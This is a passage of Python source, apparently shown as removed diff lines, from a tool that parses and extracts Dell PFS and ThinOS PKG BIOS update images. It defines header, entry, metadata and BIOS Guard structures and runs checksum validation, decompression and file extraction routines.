import get_chk_8_xor -from common.comp_szip import is_szip_supported, szip_decompress -from common.num_ops import get_ordinal -from common.path_ops import del_dirs, get_path_files, make_dirs, path_name, path_parent, path_stem, safe_name -from common.patterns import PAT_DELL_FTR, PAT_DELL_HDR, PAT_DELL_PKG -from common.struct_ops import char, get_struct, uint8_t, uint16_t, uint32_t, uint64_t -from common.system import printer -from common.templates import BIOSUtility -from common.text_ops import file_to_bytes - -from AMI_PFAT_Extract import IntelBiosGuardHeader, IntelBiosGuardSignature2k, parse_bg_script - -# Dell PFS Header Structure -class DellPfsHeader(ctypes.LittleEndianStructure): - _pack_ = 1 - _fields_ = [ - ('Tag', char*8), # 0x00 - ('HeaderVersion', uint32_t), # 0x08 - ('PayloadSize', uint32_t), # 0x0C - # 0x10 - ] - - def struct_print(self, p): - printer(['Header Tag :', self.Tag.decode('utf-8')], p, False) - printer(['Header Version:', self.HeaderVersion], p, False) - printer(['Payload Size :', f'0x{self.PayloadSize:X}'], p, False) - -# Dell PFS Footer Structure -class DellPfsFooter(ctypes.LittleEndianStructure): - _pack_ = 1 - _fields_ = [ - ('PayloadSize', uint32_t), # 0x00 - ('Checksum', uint32_t), # 0x04 ~CRC32 w/ Vector 0 - ('Tag', char*8), # 0x08 - # 0x10 - ] - - def struct_print(self, p): - printer(['Payload Size :', f'0x{self.PayloadSize:X}'], p, False) - printer(['Payload Checksum:', f'0x{self.Checksum:08X}'], p, False) - printer(['Footer Tag :', self.Tag.decode('utf-8')], p, False) - -# Dell PFS Entry Base Structure -class DellPfsEntryBase(ctypes.LittleEndianStructure): - _pack_ = 1 - _fields_ = [ - ('GUID', uint32_t*4), # 0x00 Little Endian - ('HeaderVersion', uint32_t), # 0x10 1 or 2 - ('VersionType', uint8_t*4), # 0x14 - ('Version', uint16_t*4), # 0x18 - ('Reserved', uint64_t), # 0x20 - ('DataSize', uint32_t), # 0x28 - ('DataSigSize', uint32_t), # 0x2C - ('DataMetSize', uint32_t), # 0x30 - ('DataMetSigSize', uint32_t), # 0x34 - # 0x38 (parent class, base) - ] - - def struct_print(self, p): - GUID = f'{int.from_bytes(self.GUID, "little"):0{0x10 * 2}X}' - Unknown = f'{int.from_bytes(self.Unknown, "little"):0{len(self.Unknown) * 8}X}' - Version = get_entry_ver(self.Version, self.VersionType) - - printer(['Entry GUID :', GUID], p, False) - printer(['Entry Version :', self.HeaderVersion], p, False) - printer(['Payload Version :', Version], p, False) - printer(['Reserved :', f'0x{self.Reserved:X}'], p, False) - printer(['Payload Data Size :', f'0x{self.DataSize:X}'], p, False) - printer(['Payload Signature Size :', f'0x{self.DataSigSize:X}'], p, False) - printer(['Metadata Data Size :', f'0x{self.DataMetSize:X}'], p, False) - printer(['Metadata Signature Size:', f'0x{self.DataMetSigSize:X}'], p, False) - printer(['Unknown :', f'0x{Unknown}'], p, False) - -# Dell PFS Entry Revision 1 Structure -class DellPfsEntryR1(DellPfsEntryBase): - _pack_ = 1 - _fields_ = [ - ('Unknown', uint32_t*4), # 0x38 - # 0x48 (child class, R1) - ] - -# Dell PFS Entry Revision 2 Structure -class DellPfsEntryR2(DellPfsEntryBase): - _pack_ = 1 - _fields_ = [ - ('Unknown', uint32_t*8), # 0x38 - # 0x58 (child class, R2) - ] - -# Dell PFS Information Header Structure -class DellPfsInfo(ctypes.LittleEndianStructure): - _pack_ = 1 - _fields_ = [ - ('HeaderVersion', uint32_t), # 0x00 - ('GUID', uint32_t*4), # 0x04 Little Endian - # 0x14 - ] - - def struct_print(self, p): - GUID = f'{int.from_bytes(self.GUID, "little"):0{0x10 * 2}X}' - - printer(['Info Version:', self.HeaderVersion], p, False) - printer(['Entry GUID :', GUID], p, False) - -# Dell PFS FileName Header Structure -class DellPfsName(ctypes.LittleEndianStructure): - _pack_ = 1 - _fields_ = [ - ('Version', uint16_t*4), # 0x00 - ('VersionType', uint8_t*4), # 0x08 - ('CharacterCount', uint16_t), # 0x0C UTF-16 2-byte Characters - # 0x0E - ] - - def struct_print(self, p, name): - Version = get_entry_ver(self.Version, self.VersionType) - - printer(['Payload Version:', Version], p, False) - printer(['Character Count:', self.CharacterCount], p, False) - printer(['Payload Name :', name], p, False) - -# Dell PFS Metadata Header Structure -class DellPfsMetadata(ctypes.LittleEndianStructure): - _pack_ = 1 - _fields_ = [ - ('ModelIDs', char*501), # 0x000 - ('FileName', char*100), # 0x1F5 - ('FileVersion', char*33), # 0x259 - ('Date', char*33), # 0x27A - ('Brand', char*80), # 0x29B - ('ModelFile', char*80), # 0x2EB - ('ModelName', char*100), # 0x33B - ('ModelVersion', char*33), # 0x39F - # 0x3C0 - ] - - def struct_print(self, p): - printer(['Model IDs :', self.ModelIDs.decode('utf-8').strip(',END')], p, False) - printer(['File Name :', self.FileName.decode('utf-8')], p, False) - printer(['File Version :', self.FileVersion.decode('utf-8')], p, False) - printer(['Date :', self.Date.decode('utf-8')], p, False) - printer(['Brand :', self.Brand.decode('utf-8')], p, False) - printer(['Model File :', self.ModelFile.decode('utf-8')], p, False) - printer(['Model Name :', self.ModelName.decode('utf-8')], p, False) - printer(['Model Version:', self.ModelVersion.decode('utf-8')], p, False) - -# Dell PFS BIOS Guard Metadata Structure -class DellPfsPfatMetadata(ctypes.LittleEndianStructure): - _pack_ = 1 - _fields_ = [ - ('Address', uint32_t), # 0x00 - ('Unknown0', uint32_t), # 0x04 - ('Offset', uint32_t), # 0x08 Matches BG Script > I0 - ('DataSize', uint32_t), # 0x0C Matches BG Script > I2 & Header > Data Size - ('Unknown1', uint32_t), # 0x10 - ('Unknown2', uint32_t), # 0x14 - ('Unknown3', uint8_t), # 0x18 - # 0x19 - ] - - def struct_print(self, p): - printer(['Address :', f'0x{self.Address:X}'], p, False) - printer(['Unknown 0:', f'0x{self.Unknown0:X}'], p, False) - printer(['Offset :', f'0x{self.Offset:X}'], p, False) - printer(['Length :', f'0x{self.DataSize:X}'], p, False) - printer(['Unknown 1:', f'0x{self.Unknown1:X}'], p, False) - printer(['Unknown 2:', f'0x{self.Unknown2:X}'], p, False) - printer(['Unknown 3:', f'0x{self.Unknown3:X}'], p, False) - -# The Dell ThinOS PKG update images usually contain multiple sections. -# Each section starts with a 0x30 header, which begins with pattern 72135500. -# The section length is found at 0x10-0x14 and its (optional) MD5 hash at 0x20-0x30. -# Section data can be raw or LZMA2 (7zXZ) compressed. The latter contains the PFS update image. -def is_pfs_pkg(input_file): - input_buffer = file_to_bytes(input_file) - - return PAT_DELL_PKG.search(input_buffer) - -# The Dell PFS update images usually contain multiple sections. -# Each section is zlib-compressed with header pattern ********++EEAA761BECBB20F1E651--789C, -# where ******** is the zlib stream size, ++ is the section type and -- the header Checksum XOR 8. -# The "Firmware" section has type AA and its files are stored in PFS format. -# The "Utility" section has type BB and its files are stored in PFS, BIN or 7z formats. -def is_pfs_hdr(input_file): - input_buffer = file_to_bytes(input_file) - - return bool(PAT_DELL_HDR.search(input_buffer)) - -# Each section is followed by the footer pattern ********EEAAEE8F491BE8AE143790--, -# where ******** is the zlib stream size and ++ the footer Checksum XOR 8. -def is_pfs_ftr(input_file): - input_buffer = file_to_bytes(input_file) - - return bool(PAT_DELL_FTR.search(input_buffer)) - -# Check if input is Dell PFS/PKG image -def is_dell_pfs(input_file): - input_buffer = file_to_bytes(input_file) - - is_pkg = is_pfs_pkg(input_buffer) - - is_hdr = is_pfs_hdr(input_buffer) - - is_ftr = is_pfs_ftr(input_buffer) - - return bool(is_pkg or is_hdr and is_ftr) - -# Parse & Extract Dell PFS Update image -def pfs_pkg_parse(input_file, extract_path, padding=0, structure=True, advanced=True): - input_buffer = file_to_bytes(input_file) - - make_dirs(extract_path, delete=True) - - is_dell_pkg = is_pfs_pkg(input_buffer) - - if is_dell_pkg: - pfs_results = thinos_pkg_extract(input_buffer, extract_path) - else: - pfs_results = {path_stem(input_file) if os.path.isfile(input_file) else 'Image': input_buffer} - - # Parse each Dell PFS image contained in the input file - for pfs_index,(pfs_name,pfs_buffer) in enumerate(pfs_results.items(), start=1): - # At ThinOS PKG packages, multiple PFS images may be included in separate model-named folders - pfs_path = os.path.join(extract_path, f'{pfs_index} {pfs_name}') if is_dell_pkg else extract_path - # Parse each PFS ZLIB section - for zlib_offset in get_section_offsets(pfs_buffer): - # Call the PFS ZLIB section parser function - pfs_section_parse(pfs_buffer, zlib_offset, pfs_path, pfs_name, pfs_index, 1, False, padding, structure, advanced) - -# Extract Dell ThinOS PKG 7zXZ -def thinos_pkg_extract(input_file, extract_path): - input_buffer = file_to_bytes(input_file) - - # Initialize PFS results (Name: Buffer) - pfs_results = {} - - # Search input image for ThinOS PKG 7zXZ header - thinos_pkg_match = PAT_DELL_PKG.search(input_buffer) - - lzma_len_off = thinos_pkg_match.start() + 0x10 - lzma_len_int = int.from_bytes(input_buffer[lzma_len_off:lzma_len_off + 0x4], 'little') - lzma_bin_off = thinos_pkg_match.end() - 0x5 - lzma_bin_dat = input_buffer[lzma_bin_off:lzma_bin_off + lzma_len_int] - - # Check if the compressed 7zXZ stream is complete - if len(lzma_bin_dat) != lzma_len_int: - return pfs_results - - working_path = os.path.join(extract_path, 'THINOS_PKG_TEMP') - - make_dirs(working_path, delete=True) - - pkg_tar_path = os.path.join(working_path, 'THINOS_PKG.TAR') - - with open(pkg_tar_path, 'wb') as pkg_payload: - pkg_payload.write(lzma.decompress(lzma_bin_dat)) - - if is_szip_supported(pkg_tar_path, 0, args=['-tTAR'], check=True, silent=True): - if szip_decompress(pkg_tar_path, working_path, 'TAR', 0, args=['-tTAR'], check=True, silent=True) == 0: - os.remove(pkg_tar_path) - else: - return pfs_results - else: - return pfs_results - - for pkg_file in get_path_files(working_path): - if is_pfs_hdr(pkg_file): - pfs_name = path_name(path_parent(pkg_file)) - pfs_results.update({pfs_name: file_to_bytes(pkg_file)}) - - del_dirs(working_path) - - return pfs_results - -# Get PFS ZLIB Section Offsets -def get_section_offsets(buffer): - pfs_zlib_list = [] # Initialize PFS ZLIB offset list - - pfs_zlib_init = list(PAT_DELL_HDR.finditer(buffer)) - - if not pfs_zlib_init: - return pfs_zlib_list # No PFS ZLIB detected - - # Remove duplicate/nested PFS ZLIB offsets - for zlib_c in pfs_zlib_init: - is_duplicate = False # Initialize duplicate/nested PFS ZLIB offset - - for zlib_o in pfs_zlib_init: - zlib_o_size = int.from_bytes(buffer[zlib_o.start() - 0x5:zlib_o.start() - 0x1], 'little') - - # If current PFS ZLIB offset is within another PFS ZLIB range (start-end), set as duplicate - if zlib_o.start() < zlib_c.start() < zlib_o.start() + zlib_o_size: - is_duplicate = True - - if not is_duplicate: - pfs_zlib_list.append(zlib_c.start()) - - return pfs_zlib_list - -# Dell PFS ZLIB Section Parser -def pfs_section_parse(zlib_data, zlib_start, extract_path, pfs_name, pfs_index, pfs_count, is_rec, padding=0, structure=True, advanced=True): - is_zlib_error = False # Initialize PFS ZLIB-related error state - - section_type = zlib_data[zlib_start - 0x1] # Byte before PFS ZLIB Section pattern is Section Type (e.g. AA, BB) - section_name = {0xAA:'Firmware', 0xBB:'Utilities'}.get(section_type, f'Unknown ({section_type:02X})') - - # Show extraction complete message for each main PFS ZLIB Section - printer(f'Extracting Dell PFS {pfs_index} > {pfs_name} > {section_name}', padding) - - # Set PFS ZLIB Section extraction sub-directory path - section_path = os.path.join(extract_path, safe_name(section_name)) - - # Create extraction sub-directory and delete old (if present, not in recursions) - make_dirs(section_path, delete=(not is_rec), parents=True, exist_ok=True) - - # Store the compressed zlib stream start offset - compressed_start = zlib_start + 0xB - - # Store the PFS ZLIB section header start offset - header_start = zlib_start - 0x5 - - # Store the PFS ZLIB section header contents (16 bytes) - header_data = zlib_data[header_start:compressed_start] - - # Check if the PFS ZLIB section header Checksum XOR 8 is valid - if get_chk_8_xor(header_data[:0xF]) != header_data[0xF]: - printer('Error: Invalid Dell PFS ZLIB section Header Checksum!', padding) - is_zlib_error = True - - # Store the compressed zlib stream size from the header contents - compressed_size_hdr = int.from_bytes(header_data[:0x4], 'little') - - # Store the compressed zlib stream end offset - compressed_end = compressed_start + compressed_size_hdr - - # Store the compressed zlib stream contents - compressed_data = zlib_data[compressed_start:compressed_end] - - # Check if the compressed zlib stream is complete, based on header - if len(compressed_data) != compressed_size_hdr: - printer('Error: Incomplete Dell PFS ZLIB section data (Header)!', padding) - is_zlib_error = True - - # Store the PFS ZLIB section footer contents (16 bytes) - footer_data = zlib_data[compressed_end:compressed_end + 0x10] - - # Check if PFS ZLIB section footer was found in the section - if not is_pfs_ftr(footer_data): - printer('Error: This Dell PFS ZLIB section is corrupted!', padding) - is_zlib_error = True - - # Check if the PFS ZLIB section footer Checksum XOR 8 is valid - if get_chk_8_xor(footer_data[:0xF]) != footer_data[0xF]: - printer('Error: Invalid Dell PFS ZLIB section Footer Checksum!', padding) - is_zlib_error = True - - # Store the compressed zlib stream size from the footer contents - compressed_size_ftr = int.from_bytes(footer_data[:0x4], 'little') - - # Check if the compressed zlib stream is complete, based on footer - if compressed_size_ftr != compressed_size_hdr: - printer('Error: Incomplete Dell PFS ZLIB section data (Footer)!', padding) - is_zlib_error = True - - # Decompress PFS ZLIB section payload - try: - if is_zlib_error: - raise Exception('ZLIB_ERROR') # ZLIB errors are critical - section_data = zlib.decompress(compressed_data) # ZLIB decompression - except Exception: - section_data = zlib_data # Fallback to raw ZLIB data upon critical error - - # Call the PFS Extract function on the decompressed PFS ZLIB Section - pfs_extract(section_data, pfs_index, pfs_name, pfs_count, section_path, padding, structure, advanced) - -# Parse & Extract Dell PFS Volume -def pfs_extract(buffer, pfs_index, pfs_name, pfs_count, extract_path, padding=0, structure=True, advanced=True): - # Show PFS Volume indicator - if structure: - printer('PFS Volume:', padding) - - # Get PFS Header Structure values - pfs_hdr = get_struct(buffer, 0, DellPfsHeader) - - # Validate that a PFS Header was parsed - if pfs_hdr.Tag != b'PFS.HDR.': - printer('Error: PFS Header could not be found!', padding + 4) - - return # Critical error, abort - - # Show PFS Header Structure info - if structure: - printer('PFS Header:\n', padding + 4) - pfs_hdr.struct_print(padding + 8) - - # Validate that a known PFS Header Version was encountered - chk_hdr_ver(pfs_hdr.HeaderVersion, 'PFS', padding + 8) - - # Get PFS Payload Data - pfs_payload = buffer[PFS_HEAD_LEN:PFS_HEAD_LEN + pfs_hdr.PayloadSize] - - # Parse all PFS Payload Entries/Components - entry_index = 1 # Index number of each PFS Entry - entry_start = 0 # Increasing PFS Entry starting offset - entries_all = [] # Storage for each PFS Entry details - filename_info = [] # Buffer for FileName Information Entry Data - signature_info = [] # Buffer for Signature Information Entry Data - pfs_entry_struct,pfs_entry_size = get_pfs_entry(pfs_payload, entry_start) # Get PFS Entry Info - while len(pfs_payload[entry_start:entry_start + pfs_entry_size]) == pfs_entry_size: - # Analyze PFS Entry Structure and get relevant info - _,entry_version,entry_guid,entry_data,entry_data_sig,entry_met,entry_met_sig,next_entry = \ - parse_pfs_entry(pfs_payload, entry_start, pfs_entry_size, pfs_entry_struct, 'PFS Entry', padding, structure) - - entry_type = 'OTHER' # Adjusted later if PFS Entry is Zlib, PFAT, PFS Info, Model Info - - # Get PFS Information from the PFS Entry with GUID E0717CE3A9BB25824B9F0DC8FD041960 or B033CB16EC9B45A14055F80E4D583FD3 - if entry_guid in ['E0717CE3A9BB25824B9F0DC8FD041960','B033CB16EC9B45A14055F80E4D583FD3']: - filename_info = entry_data - entry_type = 'NAME_INFO' - - # Get Model Information from the PFS Entry with GUID 6F1D619A22A6CB924FD4DA68233AE3FB - elif entry_guid == '6F1D619A22A6CB924FD4DA68233AE3FB': - entry_type = 'MODEL_INFO' - - # Get Signature Information from the PFS Entry with GUID D086AFEE3ADBAEA94D5CED583C880BB7 - elif entry_guid == 'D086AFEE3ADBAEA94D5CED583C880BB7': - signature_info = entry_data - entry_type = 'SIG_INFO' - - # Get Nested PFS from the PFS Entry with GUID 900FAE60437F3AB14055F456AC9FDA84 - elif entry_guid == '900FAE60437F3AB14055F456AC9FDA84': - entry_type = 'NESTED_PFS' # Nested PFS are usually zlib-compressed so it might change to 'ZLIB' later - - # Store all relevant PFS Entry details - entries_all.append([entry_index, entry_guid, entry_version, entry_type, entry_data, entry_data_sig, entry_met, entry_met_sig]) - - entry_index += 1 # Increase PFS Entry Index number for user-friendly output and name duplicates - entry_start = next_entry # Next PFS Entry starts after PFS Entry Metadata Signature - - # Parse all PFS Information Entries/Descriptors - info_start = 0 # Increasing PFS Information Entry starting offset - info_all = [] # Storage for each PFS Information Entry details - while len(filename_info[info_start:info_start + PFS_INFO_LEN]) == PFS_INFO_LEN: - # Get PFS Information Header Structure info - entry_info_hdr = get_struct(filename_info, info_start, DellPfsInfo) - - # Show PFS Information Header Structure info - if structure: - printer('PFS Information Header:\n', padding + 4) - entry_info_hdr.struct_print(padding + 8) - - # Validate that a known PFS Information Header Version was encountered - if entry_info_hdr.HeaderVersion != 1: - printer(f'Error: Unknown PFS Information Header Version {entry_info_hdr.HeaderVersion}!', padding + 8) - break # Skip PFS Information Entries/Descriptors in case of unknown PFS Information Header Version - - # Get PFS Information Header GUID in Big Endian format to match each Info to the equivalent stored PFS Entry details - entry_guid = f'{int.from_bytes(entry_info_hdr.GUID, "little"):0{0x10 * 2}X}' - - # Get PFS FileName Structure values - entry_info_mod = get_struct(filename_info, info_start + PFS_INFO_LEN, DellPfsName) - - # The PFS FileName Structure is not complete by itself. The size of the last field (Entry Name) is determined from - # CharacterCount multiplied by 2 due to usage of UTF-16 2-byte Characters. Any Entry Name leading and/or trailing - # space/null characters are stripped and common Windows reserved/illegal filename characters are replaced - name_start = info_start + PFS_INFO_LEN + PFS_NAME_LEN # PFS Entry's FileName start offset - name_size = entry_info_mod.CharacterCount * 2 # PFS Entry's FileName buffer total size - name_data = filename_info[name_start:name_start + name_size] # PFS Entry's FileName buffer - entry_name = safe_name(name_data.decode('utf-16').strip()) # PFS Entry's FileName value - - # Show PFS FileName Structure info - if structure: - printer('PFS FileName Entry:\n', padding + 8) - entry_info_mod.struct_print(padding + 12, entry_name) - - # Get PFS FileName Version string via "Version" and "VersionType" fields - # PFS FileName Version string must be preferred over PFS Entry's Version - entry_version = get_entry_ver(entry_info_mod.Version, entry_info_mod.VersionType) - - # Store all relevant PFS FileName details - info_all.append([entry_guid, entry_name, entry_version]) - - # The next PFS Information Header starts after the calculated FileName size - # Two space/null characters seem to always exist after each FileName value - info_start += (PFS_INFO_LEN + PFS_NAME_LEN + name_size + 0x2) - - # Parse Nested PFS Metadata when its PFS Information Entry is missing - for index in range(len(entries_all)): - if entries_all[index][3] == 'NESTED_PFS' and not filename_info: - entry_guid = entries_all[index][1] # Nested PFS Entry GUID in Big Endian format - entry_metadata = entries_all[index][6] # Use Metadata as PFS Information Entry - - # When PFS Information Entry exists, Nested PFS Metadata contains only Model IDs - # When it's missing, the Metadata structure is large and contains equivalent info - if len(entry_metadata) >= PFS_META_LEN: - # Get Nested PFS Metadata Structure values - entry_info = get_struct(entry_metadata, 0, DellPfsMetadata) - - # Show Nested PFS Metadata Structure info - if structure: - printer('PFS Metadata Information:\n', padding + 4) - entry_info.struct_print(padding + 8) - - # As Nested PFS Entry Name, we'll use the actual PFS File Name - # Replace common Windows reserved/illegal filename characters - entry_name = safe_name(entry_info.FileName.decode('utf-8').strip('.exe')) - - # As Nested PFS Entry Version, we'll use the actual PFS File Version - entry_version = entry_info.FileVersion.decode('utf-8') - - # Store all relevant Nested PFS Metadata/Information details - info_all.append([entry_guid, entry_name, entry_version]) - - # Re-set Nested PFS Entry Version from Metadata - entries_all[index][2] = entry_version - - # Parse all PFS Signature Entries/Descriptors - sign_start = 0 # Increasing PFS Signature Entry starting offset - while len(signature_info[sign_start:sign_start + PFS_INFO_LEN]) == PFS_INFO_LEN: - # Get PFS Information Header Structure info - entry_info_hdr = get_struct(signature_info, sign_start, DellPfsInfo) - - # Show PFS Information Header Structure info - if structure: - printer('PFS Information Header:\n', padding + 4) - entry_info_hdr.struct_print(padding + 8) - - # Validate that a known PFS Information Header Version was encountered - if entry_info_hdr.HeaderVersion != 1: - printer(f'Error: Unknown PFS Information Header Version {entry_info_hdr.HeaderVersion}!', padding + 8) - break # Skip PFS Signature Entries/Descriptors in case of unknown Header Version - - # PFS Signature Entries/Descriptors have DellPfsInfo + DellPfsEntryR* + Sign Size [0x2] + Sign Data [Sig Size] - pfs_entry_struct, pfs_entry_size = get_pfs_entry(signature_info, sign_start + PFS_INFO_LEN) # Get PFS Entry Info - - # Get PFS Entry Header Structure info - entry_hdr = get_struct(signature_info, sign_start + PFS_INFO_LEN, pfs_entry_struct) - - # Show PFS Information Header Structure info - if structure: - printer('PFS Information Entry:\n', padding + 8) - entry_hdr.struct_print(padding + 12) - - # Show PFS Signature Size & Data (after DellPfsEntryR*) - sign_info_start = sign_start + PFS_INFO_LEN + pfs_entry_size - sign_size = int.from_bytes(signature_info[sign_info_start:sign_info_start + 0x2], 'little') - sign_data_raw = signature_info[sign_info_start + 0x2:sign_info_start + 0x2 + sign_size] - sign_data_txt = f'{int.from_bytes(sign_data_raw, "little"):0{sign_size * 2}X}' - - if structure: - printer('Signature Information:\n', padding + 8) - printer(f'Signature Size: 0x{sign_size:X}', padding + 12, False) - printer(f'Signature Data: {sign_data_txt[:32]} [...]', padding + 12, False) - - # The next PFS Signature Entry/Descriptor starts after the previous Signature Data - sign_start += (PFS_INFO_LEN + pfs_entry_size + 0x2 + sign_size) - - # Parse each PFS Entry Data for special types (zlib or PFAT) - for index in range(len(entries_all)): - entry_data = entries_all[index][4] # Get PFS Entry Data - entry_type = entries_all[index][3] # Get PFS Entry Type - - # Very small PFS Entry Data cannot be of special type - if len(entry_data) < PFS_HEAD_LEN: - continue - - # Check if PFS Entry contains zlib-compressed sub-PFS Volume - pfs_zlib_offsets = get_section_offsets(entry_data) - - # Check if PFS Entry contains sub-PFS Volume with PFAT Payload - is_pfat = False # Initial PFAT state for sub-PFS Entry - _, pfat_entry_size = get_pfs_entry(entry_data, PFS_HEAD_LEN) # Get possible PFS PFAT Entry Size - pfat_hdr_off = PFS_HEAD_LEN + pfat_entry_size # Possible PFAT Header starts after PFS Header & Entry - pfat_entry_hdr = get_struct(entry_data, 0, DellPfsHeader) # Possible PFS PFAT Entry - if len(entry_data) - pfat_hdr_off >= PFAT_HDR_LEN: - pfat_hdr = get_struct(entry_data, pfat_hdr_off, IntelBiosGuardHeader) - is_pfat = pfat_hdr.get_platform_id().upper().startswith('DELL') - - # Parse PFS Entry which contains sub-PFS Volume with PFAT Payload - if pfat_entry_hdr.Tag == b'PFS.HDR.' and is_pfat: - entry_type = 'PFAT' # Re-set PFS Entry Type from OTHER to PFAT, to use such info afterwards - - entry_data = parse_pfat_pfs(pfat_entry_hdr, entry_data, padding, structure) # Parse sub-PFS PFAT Volume - - # Parse PFS Entry which contains zlib-compressed sub-PFS Volume - elif pfs_zlib_offsets: - entry_type = 'ZLIB' # Re-set PFS Entry Type from OTHER to ZLIB, to use such info afterwards - pfs_count += 1 # Increase the count/index of parsed main PFS structures by one - - # Parse each sub-PFS ZLIB Section - for offset in pfs_zlib_offsets: - # Get the Name of the zlib-compressed full PFS structure via the already stored PFS Information - # The zlib-compressed full PFS structure(s) are used to contain multiple FW (CombineBiosNameX) - # When zlib-compressed full PFS structure(s) exist within the main/first full PFS structure, - # its PFS Information should contain their names (CombineBiosNameX). Since the main/first - # full PFS structure has count/index 1, the rest start at 2+ and thus, their PFS Information - # names can be retrieved in order by subtracting 2 from the main/first PFS Information values - sub_pfs_name = f'{info_all[pfs_count - 2][1]} v{info_all[pfs_count - 2][2]}' if info_all else ' UNKNOWN' - - # Set the sub-PFS output path (create sub-folders for each sub-PFS and its ZLIB sections) - sub_pfs_path = os.path.join(extract_path, f'{pfs_count} {safe_name(sub_pfs_name)}') - - # Recursively call the PFS ZLIB Section Parser function for the sub-PFS Volume (pfs_index = pfs_count) - pfs_section_parse(entry_data, offset, sub_pfs_path, sub_pfs_name, pfs_count, pfs_count, True, padding + 4, structure, advanced) - - entries_all[index][4] = entry_data # Adjust PFS Entry Data after parsing PFAT (same ZLIB raw data, not stored afterwards) - entries_all[index][3] = entry_type # Adjust PFS Entry Type from OTHER to PFAT or ZLIB (ZLIB is ignored at file extraction) - - # Name & Store each PFS Entry/Component Data, Data Signature, Metadata, Metadata Signature - for entry_index in range(len(entries_all)): - file_index = entries_all[entry_index][0] - file_guid = entries_all[entry_index][1] - file_version = entries_all[entry_index][2] - file_type = entries_all[entry_index][3] - file_data = entries_all[entry_index][4] - file_data_sig = entries_all[entry_index][5] - file_meta = entries_all[entry_index][6] - file_meta_sig = entries_all[entry_index][7] - - # Give Names to special PFS Entries, not covered by PFS Information - if file_type == 'MODEL_INFO': - file_name = 'Model Information' - elif file_type == 'NAME_INFO': - file_name = 'Filename Information' - if not advanced: - continue # Don't store Filename Information in non-advanced user mode - elif file_type == 'SIG_INFO': - file_name = 'Signature Information' - if not advanced: - continue # Don't store Signature Information in non-advanced user mode - else: - file_name = '' - - # Most PFS Entry Names & Versions are found at PFS Information via their GUID - # Version can be found at DellPfsEntryR* but prefer PFS Information when possible - for info_index in range(len(info_all)): - info_guid = info_all[info_index][0] - info_name = info_all[info_index][1] - info_version = info_all[info_index][2] - - # Give proper Name & Version info if Entry/Information GUIDs match - if info_guid == file_guid: - file_name = info_name - file_version = info_version - - info_all[info_index][0] = 'USED' # PFS with zlib-compressed sub-PFS use the same GUID - - break # Break at 1st Name match to not rename again from next zlib-compressed sub-PFS with the same GUID - - # For both advanced & non-advanced users, the goal is to store final/usable files only - # so empty or intermediate files such as sub-PFS, PFS w/ PFAT or zlib-PFS are skipped - # Main/First PFS CombineBiosNameX Metadata files must be kept for accurate Model Information - # All users should check these files in order to choose the correct CombineBiosNameX modules - write_files = [] # Initialize list of output PFS Entry files to be written/extracted - - is_zlib = bool(file_type == 'ZLIB') # Determine if PFS Entry Data was zlib-compressed - - if file_data and not is_zlib: - write_files.append([file_data, 'data']) # PFS Entry Data Payload - - if file_data_sig and advanced: - write_files.append([file_data_sig, 'sign_data']) # PFS Entry Data Signature - - if file_meta and (is_zlib or advanced): - write_files.append([file_meta, 'meta']) # PFS Entry Metadata Payload - - if file_meta_sig and advanced: - write_files.append([file_meta_sig, 'sign_meta']) # PFS Entry Metadata Signature - - # Write/Extract PFS Entry files - for file in write_files: - full_name = f'{pfs_index} {pfs_name} -- {file_index} {file_name} v{file_version}' # Full PFS Entry Name - pfs_file_write(file[0], file[1], file_type, full_name, extract_path, padding, structure, advanced) - - # Get PFS Footer Data after PFS Header Payload - pfs_footer = buffer[PFS_HEAD_LEN + pfs_hdr.PayloadSize:PFS_HEAD_LEN + pfs_hdr.PayloadSize + PFS_FOOT_LEN] - - # Analyze PFS Footer Structure - chk_pfs_ftr(pfs_footer, pfs_payload, pfs_hdr.PayloadSize, 'PFS', padding, structure) - -# Analyze Dell PFS Entry Structure -def parse_pfs_entry(entry_buffer, entry_start, entry_size, entry_struct, text, padding=0, structure=True): - # Get PFS Entry Structure values - pfs_entry = get_struct(entry_buffer, entry_start, entry_struct) - - # Show PFS Entry Structure info - if structure: - printer('PFS Entry:\n', padding + 4) - pfs_entry.struct_print(padding + 8) - - # Validate that a known PFS Entry Header Version was encountered - chk_hdr_ver(pfs_entry.HeaderVersion, text, padding + 8) - - # Validate that the PFS Entry Reserved field is empty - if pfs_entry.Reserved != 0: - printer(f'Error: Detected non-empty {text} Reserved field!', padding + 8) - - # Get PFS Entry Version string via "Version" and "VersionType" fields - entry_version = get_entry_ver(pfs_entry.Version, pfs_entry.VersionType) - - # Get PFS Entry GUID in Big Endian format - entry_guid = f'{int.from_bytes(pfs_entry.GUID, "little"):0{0x10 * 2}X}' - - # PFS Entry Data starts after the PFS Entry Structure - entry_data_start = entry_start + entry_size - entry_data_end = entry_data_start + pfs_entry.DataSize - - # PFS Entry Data Signature starts after PFS Entry Data - entry_data_sig_start = entry_data_end - entry_data_sig_end = entry_data_sig_start + pfs_entry.DataSigSize - - # PFS Entry Metadata starts after PFS Entry Data Signature - entry_met_start = entry_data_sig_end - entry_met_end = entry_met_start + pfs_entry.DataMetSize - - # PFS Entry Metadata Signature starts after PFS Entry Metadata - entry_met_sig_start = entry_met_end - entry_met_sig_end = entry_met_sig_start + pfs_entry.DataMetSigSize - - entry_data = entry_buffer[entry_data_start:entry_data_end] # Store PFS Entry Data - entry_data_sig = entry_buffer[entry_data_sig_start:entry_data_sig_end] # Store PFS Entry Data Signature - entry_met = entry_buffer[entry_met_start:entry_met_end] # Store PFS Entry Metadata - entry_met_sig = entry_buffer[entry_met_sig_start:entry_met_sig_end] # Store PFS Entry Metadata Signature - - return pfs_entry, entry_version, entry_guid, entry_data, entry_data_sig, entry_met, entry_met_sig, entry_met_sig_end - -# Parse Dell PFS Volume with PFAT Payload -def parse_pfat_pfs(entry_hdr, entry_data, padding=0, structure=True): - # Show PFS Volume indicator - if structure: - printer('PFS Volume:', padding + 4) - - # Show sub-PFS Header Structure Info - if structure: - printer('PFS Header:\n', padding + 8) - entry_hdr.struct_print(padding + 12) - - # Validate that a known sub-PFS Header Version was encountered - chk_hdr_ver(entry_hdr.HeaderVersion, 'sub-PFS', padding + 12) - - # Get sub-PFS Payload Data - pfat_payload = entry_data[PFS_HEAD_LEN:PFS_HEAD_LEN + entry_hdr.PayloadSize] - - # Get sub-PFS Footer Data after sub-PFS Header Payload (must be retrieved at the initial entry_data, before PFAT parsing) - pfat_footer = entry_data[PFS_HEAD_LEN + entry_hdr.PayloadSize:PFS_HEAD_LEN + entry_hdr.PayloadSize + PFS_FOOT_LEN] - - # Parse all sub-PFS Payload PFAT Entries - pfat_entries_all = [] # Storage for all sub-PFS PFAT Entries Order/Offset & Payload/Raw Data - 